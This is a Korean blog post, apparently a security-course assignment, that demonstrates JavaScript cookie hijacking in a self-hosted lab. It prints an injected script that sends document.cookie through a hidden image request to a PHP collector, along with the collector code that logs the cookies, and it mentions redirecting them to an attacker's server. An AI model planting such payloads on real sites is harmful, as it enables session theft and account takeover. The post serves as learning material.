[Normaltic's 취업반 과제] js Cookie Hijacking

2024. 5. 14. 17:29정보보안 및 해킹/Normaltic's 취업반 과제

우선 서버가 현재 하나밖에 없기 때문에 공격자 서버를 따로 두지 않고 자기 자신으로부터 탈취하여 자기자신에게 정보를 가져오게끔 하였다.

로그인 하기 전

 

로그인 하기 전 서버 상태
로그인 하는 중

 

로그인 한 후 쿠키 생성. 쿠키의 값을 잘 기억해주세요. log.txt와 비교할거에요

 

쿠키가 생성되면 log.txt라는 파일이 생성된다.
log.txt파일 안에는 쿠키가 탈취되어 들어있다. 앞에 나와있던 쿠키의 값과 비교해보세요! 근데 너무 많이 지웠나..

 

index.php

임시의 이미지(사용자에게는 보이지 않는)를 하나 생성하여 그 이미지를 통해 공격자의 php코드로 cookie를 전송한다.

해당 코드는 로그인 이후 jwt가 생성된 후 실행된다.

[생략]

<script type="text/javascript">
			var i = new Image(); 
      i.src='./cookiestealer.php?c='+encodeURIComponent(btoa(document.cookie));
		</script>
        
        [생략]

cookiestealer.php

공격자의 코드.

c라는 쿠키를 담을 변수를 받아 log.txt라는 파일에 적는다.

지금은 서버가 하나 뿐이라서 자기 자신에게 돌렸지만 공격자의 서버에게 돌리게 되면 저 파일은 공격자의 서버로 들어가게 된다.

<?php

	if (isset($_GET["c"]))
	{
		$cookies = base64_decode(urldecode($_GET["c"]));
		$file = fopen('log.txt', 'a');
		fwrite($file, $cookies . "\n\n");
    fclose($file);
	}
?>

 

 

ref. https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/

 

How to Write an XSS Cookie Stealer in JavaScript to Steal Passwords

JavaScript is one of the most common languages used on the web. It can automate and animate website components, manage website content, and carry out many other useful functions from within a webpage. The scripting language also has many functions which ca

null-byte.wonderhowto.com